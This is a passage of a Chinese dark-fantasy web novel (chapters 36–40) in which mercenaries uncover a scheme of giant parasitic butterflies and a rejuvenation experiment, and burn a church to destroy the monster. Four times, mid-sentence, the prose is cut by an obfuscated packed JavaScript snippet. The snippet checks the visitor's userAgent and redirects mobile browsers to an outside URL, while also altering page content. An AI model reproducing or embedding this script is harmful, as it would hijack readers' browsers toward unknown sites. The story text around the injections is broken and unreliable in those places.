“记得磷粉会致幻吗？”拉斐尔说，“雌蝶的生物信息素对人类也有致幻效果，而且强度更高。看看那只蝴蝶的翅膀、它明显是只雌蝶。这么大的蝴蝶，它的生物信息素浓度绝不是一般布料能挡住的。” “最重要的是，和磷粉不同，生物信息素是可以由雌蝶控制的。想要制造出我们看见一个活人的幻觉，简直易如反掌。” “可是……可是……我的天呐，拉斐尔。”艾希莉握紧了拳头，“你该不会是说……天呐，拉斐尔，我好像一开始就在和那只蝴蝶说话。我……我……” 她似乎是再也忍受不住，蹲在地上，剧烈地干呕起来。 “我早该想到的！”拉维妮娅突然骂了句脏话，抬起头，直直地看着教堂屋顶上的蝴蝶。 那只蝴蝶似乎已经不再纠结于屋顶的神目标志了，它停止了盘旋，向背离庭院的方向飞去，从庭院里看过去，只能看到它翅膀的后半部分，正在以一种不急不缓的速度离开教堂的屋顶，而蝶群正追随着它而去。 “那个放大法阵。”她喃喃地说到，“这就是彼得.莫德搞出来的东西，也许连他自己也没有发现。” “这下一切就都说得通了。” 36. 第 36 章 “这是什么意思？”杰拉尔德皱起眉头，“那个老头变成灰了还能操控这个怪物杀人吗？” “我们在彼得.莫德的花房旁边发现啦一个放大法阵。”拉维妮娅摇摇头说，“大概是被用来放大一些花卉……那么如果说，有人在他使用放大法阵的过程中，放大了一枚蝶卵……” “等等，这说不过去吧？”拉斐尔插话进来，“你们有听我刚才说的吗？这种蝴蝶的幼虫是寄生生物，它们会把卵产在小型恒温动物身上，而不是什么花的叶子根茎上。” “而且，你们究竟是什么时候看到了放大法阵？” “哦！是我们和萨拉小姐一起去楼下找暗门的时候。”艾希莉抬起头来说，“那时候你正在楼上收集你手里的那堆文献。” “准确来说这些只是手稿……不对，我的意思是，这种蝶卵不可能是恰好放大的，它们会在恒温动物的皮毛里孵化，然后咬破那些被寄生动物的皮肤……” “你不用把这个过程说得那么细节，你表妹刚才都快要吐出来了。”拉维妮娅说，“而且，我也并没有说这枚蝶蛹是被不小心放大的。” “这又是为什么？”拉斐尔看上去又想揪住自己的头发，“我现在是真的有点糊涂了。” “你不明白吗，拉斐尔！”艾希莉拽着他的袖子站起来，“这是个彻头彻尾的阴谋！勒托就是被他们害死了！” “冷静一点，艾希莉。”拉斐尔拍了拍她的后背，抬起头看向拉维妮娅，“如果这件事是人为的，你之前说的，''他自己没有意识到''是怎么回事？” “事先说明一下，这些只是我的推断。”拉维妮娅说，“既然神父可以做关于蝴蝶的研究，那么彼得.莫德也可以。我会这么说，是因为他在花卉展和花卉评选大赛上展出的那些花。” “那些花怎么了吗？” “你自己说过的，那些花''有着梦幻般的光泽''，对吧？它们让你想到什么了吗？” 拉斐尔瞪大眼睛：“你是说蝴蝶……” “没错，蝴蝶磷粉。”拉维妮娅说，“他把蝴蝶磷粉撒在花上，或者抹在花上，随便什么方法。” “在这种情况下，为了提高磷粉的产量，放大一只蝴蝶也很合理吧？” “可是，如果只是放大一点的话……” “所以接下来的事，很可能和彼得.莫德无关。”拉维妮娅说，“他是个商人，不是真正的研究员，不会干这种吃力不讨好的事。” “我猜测，有人用彼得.莫德找来的蝴蝶，或者蝶卵，进行了多次放大，直到——可以孵化出那个大小的蝴蝶。” “有人？”拉斐尔眯起眼睛，“你们怀疑谁？萨拉？” “当然，像我们之前说过的，她的嫌疑最大。”杰拉尔德抱着胳膊说。 “等等，萨拉小姐？”艾希莉喊道，“你们什么时候……” “如果是萨拉，那么这些就完全说得过去了。”拉维妮娅说，“她完全知道蝴蝶到底是怎么回事，所以在看到那只大蝴蝶出现时，她觉得，彼得.莫德的死期该到了。” “所以她在昨天从后门进入宅子，期盼看到死去的彼得.莫德——她确实看到了，但她没想到宅子里还有我们，卡里斯托也还活着。” “她只好临时改变计划，引导我们留在宅子里，好代替彼得.莫德成为她的替罪羊。哦，选择我们甚至还要更好一些——这里的镇民比起相信异乡人肯定更愿意相信她，对吧？” “等等，什么替罪羊？”艾希莉瞪着她的蓝眼睛，“她到底要做什么？” “我猜想。”拉维妮娅说，“她原本就是想让勒托为所有人的死负责，这件事的起因会完全落到彼得.莫德身上，接着所有人都会''不小心''发现爱丽丝女士的尸体——如此一来彼得.莫德的威信也不存在了，多么圆满的计划。” “但彼得.莫德现在并不是勒托杀死的，好巧不巧我们还是目击者，卡里斯托也还好好的，肯定不会就此放过他妹妹的事，她的计划被打乱了——所以她的新计划大概是，把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879083|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄来蝴蝶、杀死彼得.莫德、神父、约翰逊父子的事通通算在我们头上——反正也不算全错，对吧？” “这……”艾希莉的手又开始发抖，“这……” “……如果真是这样，那么现在大概算在我们头上的命案又要多一桩了。”拉斐尔说，“那只大蝴蝶是不是往萨拉家旅馆的方向去了？” 卡里斯托的身躯摇晃了一下，僵硬地转了半圈。 “我……她。”他喃喃地说，声音突然间十分嘶哑，“我要去杀了她。” “等等，你不能……”艾希莉几乎是条件反射地说。 她想说，勒托一定不希望你这样的，你等冷静下来。 但她突然发现自己没有什么立场说出这种话。 她既不了解事情的真相，也不了解这对兄妹。 她甚至都不是真的认识勒托，如果拉维妮娅推测的没错，那么她这两天都只是在和一只蝴蝶说话而已。 她仓皇地转过头，看向拉维妮娅，后者正死死皱着眉头。 “拉维，拉维。”她说，“我们要怎么阻止她？” “你说得对。”拉维妮娅说，“是应该让这件事结束了。” 她抬头看了看教堂。季节的太阳西沉得很快，在他们说话的当口，太阳已经完全落下去，一小块尚且有几丝明亮的深蓝色夜空照亮了教堂的尖顶，它的大部分屋顶模糊地反射着夜空的星光，尖顶上双瞳神目的标志是金属铸成的，在整座教堂黯淡的光辉下非常醒目。 “记得我们第一次看见这些蝴蝶吗？”拉维妮娅说，“它们和蛾子一样，会飞向火光明亮的地方。” “是的，这是有研究依据的。”拉斐尔说，事实上，它们不在夜间活动的原因也是因为，月光不能像日光一样给它们指明方向，而火焰这种放射光线的光源更是会误导它们，让它们的飞行路线偏移，最后一头撞进火里……” “那么，这就是我要说的解决方法。”拉维妮娅说，“这座教堂是木制结构的，对吧？” 37. 第 37 章 萨拉举着一盏防风灯，穿过旅馆一楼狭长的侧廊，向走廊最深处的房间走去。 走廊里几乎没有多余的光线，防风灯的灯油在黑暗里燃烧着，显得走廊比它原本的样子更加狭窄逼仄，橙黄色的光线只堪堪照亮了旅馆女老板的脚尖前方，和她的小半张脸——在这个正常人看起来都会有些狰狞的光线下，她的神色显得十分平静，简直要让人怀疑，防风灯照亮的其实不是什么人，而是一尊圣徒的塑像。 她的脚步并不缓慢，鞋跟敲击在老旧的地板上，发出一连串沉闷的响声。这使得她没有提灯的那只手晃得幅度有些大，手里的肉汤也随着脚步的闷响来回晃荡，一些汤溢出碗沿，落在托盘上，洇湿了一旁的毛巾。 可萨拉却好像丝毫未觉，目不斜视地走到走廊尽头，轻巧地敲了敲门。 “父亲，我来送晚饭了。” 她并没有特意等待屋里人声的回复，便直接打开了门。 房间里一片昏暗，即使是窗外的月光，也几乎都被蝴蝶的翅膀挡下。萨拉径直走了进去，毫无障碍地走到了房间的一角，放下防风灯，照亮了矮桌上半支没点燃的蜡烛，也照亮了一旁狭窄的木床上，老人苍白皱缩的脸。 “……烛……” “我带灯来了，父亲。”萨拉把托盘也放到桌上，拿起毛巾擦掉老人额头的虚汗，“用不着蜡烛。” 老人含糊地叫了两声，从被子里抽出一支胳膊，高高扬起。 这个动作他大概是做过无数遍了，他做得毫不犹豫，没有一点拖泥带水，五指并拢的手掌已经落到了萨拉的耳侧。 但他的手臂已经太瘦弱了，这一巴掌没能达到他想要的效果，只在萨拉的脸颊上碰出一声轻响。 “……您一定要点蜡烛？好吧。”萨拉的神色依旧平静，甚至非常温和，面对父亲突如其来的巴掌，她没有丝毫的躲避，恍若未觉地继续着她的动作。 蜡烛也亮起来了，几乎照亮了老人的整张脸。他的下巴看上去有些歪，好像已经不能完全受到主人的控制；带着泡沫的口水从一边嘴角流下来，粘得整个下巴与肩颈之间都泛着腥臭的湿气。 萨拉再次拿起毛巾，擦掉那些口水，又扯了一下同样散发着腐烂般臭气的枕头，帮着她的父亲微微起身，靠在床头。 “今天的晚饭是您喜欢的肉汤。”她说，“不是肉沫，不是肉被客人吃掉留下的汤，也不是您儿子抛下尊严下厨做的。” “您应当很高兴才是。” “……少……饿……” “放心。”他的女儿舀起一勺带着肉块的汤，送到他嘴边，“要是不够的话，我就再去给您乘一碗来。” “今天的汤做了很多。” “……山……山姆……山姆……” “放心吧。”萨拉说，“放心吧。” 她用一只手虚虚托住父亲的下巴，看着他喝完一勺汤，又舀起下一勺。 “您看起来很喜欢今天的汤。”她说，“能让您满意真是太好了。” 老人转动着他浑浊的眼珠，几乎是奇怪地看了女儿一眼，喉咙里滚出两声不成调的音节，又挣扎着要去够停在嘴边的勺子，伸着脖子喝下第二口汤。 他的女儿眼睛也没眨一下，又舀起第三勺。 “今天天气很不错。”她说，“山姆有没有和您说过这个？” 她又喂给父亲一勺汤。 “也是，他平常也不怎么来看您，不然您也不会总是吵着要见他。” 又一勺。 “那我猜，他也没有告诉你，今天教堂里又死人了吧？” 又一勺。 “哎，别激动。” 又一勺。 “看来他是什么也没告诉你了。” 又一勺。 “老约翰逊的儿子昨天死了，他今天也一样。” 又一勺。 “哦，对了，还有你讨厌的神父先生。” 又一勺。 “真可惜……” 又一勺，这次萨拉把勺子停在了父亲嘴边，她的父亲却没有着急去喝下一口。 “真可惜。”她慢慢地说，“我本来没想让老约翰逊和他儿子死。” “您说，哥哥现在去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879084|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪了呢？” 她的手还托着父亲的下巴，手指微微用力，几乎是掐着那张还在不断淌着恶臭口水的嘴，把手里的勺子和肉汤强硬地塞进父亲嘴里。 “肉汤好喝吗，父亲？”她温柔地轻声询问，脸上带着些许不合时宜的愉悦，“您该再多喝点，这样山姆也会高兴的。” 老人在她的手中挣扎着，不停地摇着头，嘴里发出呜呜的喊声。那些肉汤和口水一起从嘴角喷出来，溅湿了枕头被褥，还有萨拉的袖口。 ”哎，您不该这样。”她说，依旧慢悠悠地，“要是您的儿子知道，这些肉被您这样白白浪费，他该多难过啊。” 老人侧过头，极力对女儿瞪着他泛黄的眼珠，喉咙里发出“嗬嗬”的响声。他似乎是想说些什么，但是最终，只有浑浊的、带着咸味的液体流到他沟壑纵横的面颊上。 “您怎么哭了呢？”萨拉直起身子，居高临下地看着他，“这样可不行，哭哭啼啼的也太脆弱了，和母亲一样，不像个样子。” “对吧？” 老人大张着嘴，剧烈地抽着气，听起来像个坏掉的风箱。 他的女儿并没有理会他这幅快要背过去的样子，脚步轻快地走到窗边。 “屋里的空气好像不太好，父亲。”她说，手指已经搭在了窗户的插销上，“您想透透气吗？我把窗户打开吧。” 窗户在她说完这句话前已经应声打开，无数的蝴蝶涌进房间，落在没喝完的肉汤上，蜡烛燃烧的火焰上，老人大张着的嘴里。 蜡烛上那簇燃烧着的火苗在无数疯狂扑打的翅膀中间熄灭了，老人急促的呼吸声也在那些翅膀的声音里消失，只有桌上的防风灯还静静地矗立着，和把它带来的萨拉一样安然无恙。 萨拉背对着父亲的床铺，伸开双手，像是在迎接什么的到来一般，露出一个扭曲的微笑来。 房间的门却在一声巨响中被推开了。 一个身影出现在门口，挥开面前挡住视线的蝴蝶。 “你在这。”卡里斯托说，紫眼睛里第一次迸发出极其强烈的情绪——那是一种真实的恨意。 38. 第 38 章 萨拉从窗边转过身来，望向门口的少年。 “看来你见过那只蝴蝶了。” 她的神色依旧平静，仿佛少年的到来也在她的预料之中。月光从敞开的窗户照进来，旅馆的女老板没有使用任何遮住口鼻的工具，在蝴蝶扇动的翅膀间，她的脸上沾满了蝴蝶磷粉，那张脸看起来苍白脆弱，又泛着异样的光彩，恍若一个陶瓷塑就的假人。 “你居然会做出这样的表情，真稀奇。”她说，“现在你看起来倒像一个完全的普通人了。” “关于勒托的事，我很抱歉，卡尔。”她从窗边离开，走向卡里斯托的方向，脸颊在月光和防风灯的光晕下闪着细碎的光。 “如果你要我付出性命，我也没有什么意见——但请在我做完我要做的事之后。作为交换，我会告诉你一切的真相。” “我为什么要听你说？”卡里斯托说，“你要做什么和我没有关系。” 他的手已经扼住了萨拉的脖子，使得那块脆弱的、有些松弛的皮肤微微凹陷，几乎能感受到下面的脉搏。 萨拉却依旧平静地望着他，连脉搏都和呼吸一样平缓，好像已经没有什么值得她紧张的事。 “我承认我利用了勒托的死。”她说，“她的死是这个计划的开始，也是这个计划最重要的一部分。” 卡里斯托的手指在收紧，她的喉咙里挤出嘶哑的气声。 “但是……她的死亡与我无关。” “说了半天，你还是想告诉我你是无辜的。”卡里斯托低头看着她，冷冷地。萨拉的喉咙已经在他的手中发出痛苦的“咯咯”声，而他还在继续收紧手指。 “谎话都说完了？你可以不用说话了。” “永远。” “你……”萨拉艰难地发出几个音节，黑眼睛定定地看着他，依旧是平静的。 “你知道……是……不……慌话……” 她在脖颈受到的压力下被迫失去了声音，嘴巴半张着，眼睛逐渐开始失去光彩。 卡里斯托猛地松开手。 “是谁？” 萨拉在他松开手的瞬间软绵绵地坐到了地板上，大口喘着气。也许是因为吸入了过多的磷粉，很快又剧烈地咳嗽起来。 “是谁杀了她，萨拉？” “很多人。”萨拉缓缓地说，“彼得.莫德，教堂的神父，还有那座空中''乐园''里的所有人。” “你是不是打算把所有事都推给彼得.莫德？” “这是那两个佣兵告诉你的？”萨拉笑了一下，“我看得出来，他们怀疑我。当然，我的演技也实在蹩脚……正因为如此，为了取得他们的信任，当时我告诉他们的，大部分都不是谎话。” “爱丽丝老师确实在一年前死去了，你的妹妹也一样。” “她们死于一个愚蠢的妄想，一个无聊的实验。” “关于重生，返老还童，与永生的实验。” 她重新站起来，解开纽扣的纽扣，露出一边的手臂。 与她脸上超出年龄的苍老不同，这只手臂看起来皮肤光滑、充满活力，像一个十几岁的年轻女子。 而在这只过于年轻健康手臂上，长着一块微微跳动的深红色肉瘤。 “我说过，我会付出生命。”她看着手臂上那个狰狞诡异的东西说，“因为我本来就会。我的时间不多了，这只蝴蝶幼虫已经快要把我的血肉吸干。” “——我现在还能好好和你讲话，没有在磷粉的幻觉里发疯，都是拜它所赐。” “你是不是很奇怪，我明明只是一个被抛弃的情妇，却不知道为什么，对这种秘辛一样的实验了如指掌。” “很简单。因为，我也是这个实验的一部分。” 她回头看了看窗外。 “那只蝴蝶是不是快来了？” “你的话还没有说完。”卡里斯托依旧低头看着她，声音已经恢复了那种近乎冷漠的平静，但他的眉头还紧紧地锁着，昭示着某种混乱的痛苦。 “对，实验。” 萨拉赶开面前的蝴蝶，走到床边坐下。 在她身边，仰面躺着的老人胸膛已经不再起伏。蝴蝶停在他的眼眶旁，挤进他张着的嘴里，吸吮着有盐分的眼泪和口水。这使得他松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879085|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垮打皱的脸看上去有一种幻觉般的诡异。 “彼得.莫德喜欢年轻的身躯，无论是他的情人，还是他自己。” “事实上，有很多人都这样。” 他们身边的蝴蝶似乎少了一些，萨拉现在的话已经能被清晰地听见。 她的语气还是一如既往地平静，接近一种无力的绝望。 “他们拥有相对成功的人生，比大部分人富有，也因此比大部分人过得舒适，比大部分人能够享受快乐。” “但他们依旧无法逃离衰老，以及衰老带来的病痛和死亡。” “所以，他们生出了一个''天才''般的想法——倾尽他们所有的精力，去战胜衰老和死亡。” “为此，他们不惜任何代价。” “妻子和养女的性命，对他们来说只是极其微小的牺牲，作为代价根本微不足道。” “在如此宏大的愿景面前，这些又算得上什么呢？” “总有一些东西，比她们重要的多。” “我没听见我想听的。”卡里斯托“啧”了一声，“这些你之前已经说过了，以一种更简洁的形式。” 他瞟了一眼窗口的方向。 “而我的耐心有限。” “抱歉，我有些情绪化。”萨拉淡淡地说，“——也许是因为我快死了。” “不过，谢谢你的提醒。言归正传，彼得.莫德在去年的学术报告会上见了不少人，偶然听到了一个……激进的想法。” “如果用年轻人的血液换掉自己身上的血，那么人也许就会返老还童，回到年轻时的状态。” 但他觉得这个想法有些太激进了，于是他决定，让他的妻子先试一试。” “也是，他的妻子最近总是偷偷接触他的情人们，有些太不安分了。” “况且，她也已经不再年轻，没办法再得到他的爱。” “也许她恢复年轻，他们还能回顾一下往日的……热情。” “那么，到哪里去找一个年轻人呢？” 她看向卡里斯托。 “想必你已经猜到了吧？” 39. 第 39 章 大约五分钟之前，莫德镇的教堂里。 “你说你要烧了这里？”拉斐尔的声音高得几乎破音，“你在开玩笑吧？” 他一只手搂紧了怀里的手稿，一只手举到半空中，从教堂后院的方向一直挥到主厅。 “看看这里！他们的窗户上甚至装了彩色玻璃！建这么一座教堂一定花了这里的人很多心血……更不用说后院也许还有些我没找到的研究记录……” “所以呢？”拉维妮娅的右手虚虚搭在左手手肘上，手指一点一点地敲着固定左手的木板，“你难道有什么更好的方法吗？” “我，我不知道。”拉斐尔说，“也许可以找别的地方……” “如果他们之后想重建这里，总会有办法的，这里和他们自己的屋子比起来其实无关紧要，不过是个做礼拜的大房子罢了。”拉维妮娅说，琥珀色的眼睛直直地看向拉斐尔，“相反，如果不烧这里，你打算烧哪里呢？这里没有人承受得起屋子被烧光的代价——那多半是他们的全部身家。” “我有个问题。”杰拉尔德说，“你打算怎么控制火势？从现在的风向来看，直接烧了这里，镇上起码有一半的屋子要遭殃。” “之前用过的那种隔离火焰的法阵。”拉维妮娅说，“我以为你会比我更清楚。” “我很清楚，我的剑做不到用法阵包裹整个教堂。”杰拉尔德说，“我们只能用符文法阵。” 他们对视了一眼，同时转头看向拉斐尔。 “……什么？” 拉斐尔还沉浸在刚才的对话里，毛茸茸的棕色脑袋垂着，看起来有点挫败。而直到周围的空气安静下来好几秒后，他才茫然地抬头，看着面前的同伴。 “……你们打算让我做什么？整个教堂？” 他一瞬间瞪大了眼睛，几乎在原地跳起来。 “你们知道这座教堂有多大吧？……对，和阿尔伯恩那些有名的教堂比起来，它确实不算多大……但它也是个教堂啊！就连这镇子上最大的宅子，就是彼得……” 他突然停下了，若有所思地看着手里的书稿。 “彼得.莫德的院子……” 年轻的学者猛地抬起头。 “我知道了。”他说，“给我几分钟时间。” 拉维妮娅转过头，看向稍远一些的地方。 “卡里斯托。”她喊道，“你要去哪？” 紫眼睛的年轻人在教堂的侧门边回过头，他的眼睛里好像有什么东西在燃烧着，闪着灼灼的光。 “我说过，我要去杀了她。”他冷冷地说，“别拦着我，小姐。” “我没想拦着你。”拉维妮娅说，“也没那个能力。只不过，有件事想拜托你，顺路做一下。” 时间回到现在，卡里斯托垂下眼睛，望着面前的旅馆女老板，死死地捏着拳头。她好像已经没有什么力气，侧身靠在床头，毫不介意地贴着那具似乎已经有些僵硬的身躯。 “为什么？”他说，“为什么是勒托？” “这个镇子上还有不少孩子。”他冷酷地说，颌骨上方的肌肉微微凸起，“为什么一定要是勒托？” “我不知道。”萨拉说，“对彼得.莫德来说，也许他只是相信了那个沐浴少女鲜血的传说。” “不过据我所知，神父大概知道更多东西。”她抬头看向年轻人精致得不似常人的面容，还有那双难得一见的紫色眼睛。 它们确实非常漂亮，万中无一。 “——也许和你们的来历有关。” 萨拉又转头看向窗口，那里的月光似乎更亮了一些，从蝶群的空隙里照进来，明晃晃地，让她感觉有些刺眼。 “只可惜，他死了。”她缓缓地说，“我本来没想让他那么早死。” 她从口袋里掏出一支土哨，用细瘦的手指攥住它：“但他太心急了，他以为自己发现了控制蝴蝶的秘诀，就迫不及待地开始尝试……但他把这一切想得太简单了，他从爱丽丝老师那里拿到的资料是不完整的，被哨音呼唤前来的那只蝴蝶会把人当作同类攻击。” “结果小约翰逊就这么死了。那个懦夫自己不敢尝试，就把哨子偷偷塞给了一个孩子。”她要呀切齿地说，“他什么都不知道……就那样在惊恐中死去了。” “他本来想离开那里的……今年秋天，他还和我说，等到来年开春，就去隔壁镇上找个工作，离开这个鬼地方。” 她松开手，土哨从她的指间落下去，掉到地上摔得粉碎。 “接着他居然又试了一次，这次把自己弄死了。” “我猜，他本来是想让老约翰逊和他儿子一样，做他实验的羔羊。只不过老约翰逊毕竟干了这么多年猎矿人，没让他完全得逞。” “你话太多了。”卡里斯托说，“我不想听这个，记得吗？” “哦，我又说起无关的事了？抱歉。”萨拉的声音轻飘飘的，眼里像起了一层灰蒙蒙的雾。 “说回勒托的事吧。她在那一天几乎被抽干了血，爱丽丝老师也是。他们的计划是，把她们的血换给对方，好看看换血是否真的有改变身体年龄状态的效果——无论是变年轻，还是变老。” “但是实验失败了。她们对彼此的血液产生了巨大的排异反应，几乎是被输血的几分钟后就开始全身抽搐，但那些男人依旧坚持实验。” 她的手指深深地掐进手心里，胸膛不断起伏：“到最后……” “到最后，整个房间都是她们的血和痛苦的嘶喊声。” 旅馆女老板抬起头，望向天花板的方向，那里只有一片虚空。 她眼里的雾气更浓了。 “但实验还没有结束。” “在爱丽丝老师和你的妹妹死后，他们当即决定开始另一个实验，关于复活与重生的实验。” “当时爱丽丝老师也在研究这种蝴蝶，但她也不过是刚刚开始。''乐园''的研究者们当时对这种蝴蝶的信息素提取物很狂热，据说它可以使死去的尸体复活——即使这具尸体的所有零件都是来自不同的人。” “所以他们打算用两种方法试一试所谓的''复活''——毕竟他们面前有两具尸体。” “而他们在我的身上先做了实验，发现至少在蝶卵和刚孵化的阶段，靠近它的皮肤确实有变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890853|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更加年轻的迹象。” “于是他们就开始测试，勒托通过完全的蝶卵''复活''，爱丽丝老师则是通过信息素提取液。” “她们就一直被放在一楼的房间里——对，就是你们把彼得.莫德烧掉的那个房间，也是他突然开始发疯杀人的房间。” “而我实在无法忍受了。我看过爱丽丝老师的部分手稿，所以我藏起了几页，并且''不小心''把勒托身体里的那枚蝶卵又放大了一些。” “蝴蝶当然不会主动攻击人，即使是为了□□。它们和人类就不是同一物种，人类也不是它们的天敌，完全没有攻击对方的必要。” “但是，在极端环境下，比如说被寄生的生物与蝴蝶的体型差异不够大，为蝴蝶提供的营养不够，那么，它们会在完全发育为蝴蝶之前经历一段''扮演''期。” “它们会全身心地以为自己就是那种寄生生物，并把寄生生物当作同类，直到安全地度过自己的幼虫和化蛹时期。” “甚至在破蛹之后的一小段时间里，也是如此。” “而我等的就是这个时候，这是我唯一的机会，我必须要做这件事，让那些该死的家伙付出代价，直到把他们完全毁灭为止。” “那么你为什么非要用蝴蝶？”卡里斯托看了一眼她身边老人开始僵硬的身躯，“你已经杀了他了，没有蝴蝶也是一样。你为什么非要这个借口？” “你也有其他机会可以杀了彼得.莫德，他已经完全疯了，随便一个陌生姑娘都能杀了他。” “我的身体已经很虚弱了。”萨拉说，“不足以让我用力量杀死一个强壮的男人。” “最重要的是，我是要完全地毁灭他们，而不是让他死后受到怀念，墓园里还有祭奠他的鲜花。” “我要所有人都知道他的丑恶嘴脸，即使是死后也休想收到丝毫的赞美。” “而这一点凭我一个人做不到。” “我需要一个强大的怪物，一个无可抗拒的力量，像神所创造的奇迹一样，逼迫这里人们相信我想让他们看到的。” “带着对庞大怪物的绝对恐惧，从这里离开的每一个人，余生每一次想起这场意外中死去的人，都只会给那几个''罪魁祸首''的罪行再蒙上一层阴影。” 一阵沉重的风声在窗外响起来，像是某种老旧的、扇页缺损的风车。卡里斯托突然感到一丝轻微的眩晕，仿佛看见某种彩色的光晕在眼前无序地闪过。 萨拉突然瞪大眼睛，望向窗户的方向，断断续续地笑起来。 “……这就是全部的真相。”她说，重新系上袖子的纽扣，“哈哈……它要来了……它要来了……” 她拍拍自己的脸，做出一个惊恐的表情，冲到窗边。 “救命！”她叫道，“那只怪物要……” 她停住了。 那只蝴蝶也在距离旅馆一段距离的地方停住了。在远处，教堂的方向，一簇橙黄色的火光跳动着直冲天空而去，把夜晚也映得呈现出发亮的红色，星星和月亮都成了模糊的剪影。 蝴蝶改变了方向，在旅馆前方划出一道弧线，向火光的方向而去。 40. 第 40 章 多年以后，彼得.莫德男爵的学生，花卉商人汉斯.威尔先生在回忆录里记录了这天晚上莫德镇的大火。 “那是我平淡的前半生里见过的、最大的一场火。”他这么写道，“想必大家都知道，在那之后我又经历了很多事，这些在回忆录里同样有详细记载。但这场大火就像我人生中一个极为重要的转折点，我后半生的开头，就连很久以后，我们都知道的路比亚城大火，也没能给我这样的震撼。” “……整座教堂都烧起来了，火焰直冲向天空，像一只闪着红光的刺刀，把那片漆黑的天空刺伤了，露出暗红色的伤口。 不止是天空，周遭的一切仿佛都是暗红色的。因为燃烧着的不仅是教堂，还有那些徘徊在镇上多时的、一群又一群的蝴蝶。它们曾经不知疲倦地在我的窗边、在所有人的窗边飞舞着，我永远忘不了被它们彩色翅膀和细小的棕黑色身躯爬满的窗户，那时我甚至能看到它们细小的、诡异的嘴。而当教堂烧起来的时候，它们好像终于迎来了安布罗斯的审判——它们前仆后继地、不知疲倦地向教堂的方向飞去，像朝圣一般绕着教堂一圈一圈地飞舞着，直到它们离那些金红色的火光越来越近，它们的翅膀被灼伤、被点燃，化成冒着红光的火球，向火中坠落下去，成为那丛巨大火焰的一部分……” “……哦，还有那只怪物。它就像一只巨大的火鸟，在教堂的最顶端挥舞着它的翅膀，像要掀起两股飓风。有那么一瞬间我觉得它要把火焰都扇灭了——我也许是那么希望着，毕竟火烧得那样大。但它没有，它的翅膀被火焰慢慢吞噬了，那些燃烧的部分和它的同类一样，化作一片又一片燃烧着的火焰，落到教堂的底部，那些熊熊燃烧着的窗户和柱子之间。 它就要死了。我想，虽然没有人知道它从哪来，也没有人知道它要做些什么。但这只怪物到底臣服于火焰的伟力，在这炽热的审判里败下阵来，蜷缩起残缺的身躯，滚落到火焰中去。” “……我试图去救火，其他所有人都是。毕竟那里是承载着我们希望的、伟大的安布罗斯将会降临之地，即使神父先生已经因为可悲的意外离我们而去，我们依旧希望保存这座教堂，保存神的火种，所有人希望的结晶。 但我们失败了。那火烧得太大，整座教堂被烧得只剩下焦黑的剪影，仿佛是冒着红光的可怖之地……我们只能祈祷，庆幸那火没有从教堂烧到其他屋子上来——它确实没有，也许是伟大的安布罗斯的恩赐。 接着我突然想起一件重要的事。时至今日我依旧要后悔自己的愚钝，怎么能到那时才想起这件事来。我感到恐慌，不由得大声叫喊起来，就连周围的人都被我的声音吓到——但我不得不喊，因为我的主人、我的老师，彼得.莫德男爵还在那座教堂里，不知为何，一直没有人看见他逃出来。 我那么大声地喊着，疯了似的想冲进火里去，但我那时的朋友，一个我现在不太方便透露姓名的先生，赶来拦住了我，和另一个朋友一起——那位女士在这件事不久之后去世了，愿她的灵魂在伟大的安布罗斯那里安息。 总而言之，他们拦住了我，并且沉痛地宣布，这场大火正来自于我所尊敬的、爱戴的老师。他们似乎是刚从火里出来，身上还带着火焰的燎伤和黑灰，这使得他们的话实在很有说服力。 而有那么一瞬间我确实看到我的老师了，他在那片火里疯狂地大叫着什么，我没有太听清。但我周围的一些人说，他在喊着他杀死的人的名字，有很多个，喊得最多的是他的妻子。他好像真的疯了，胡子的衣服都在燃烧，却还挥舞着手臂跑来跑去。最后他跑到一个黑乎乎地角落，大笑着喊了些什么。这回没有人听到，有什么东西倒下来，他从我们的视线里消失了。” 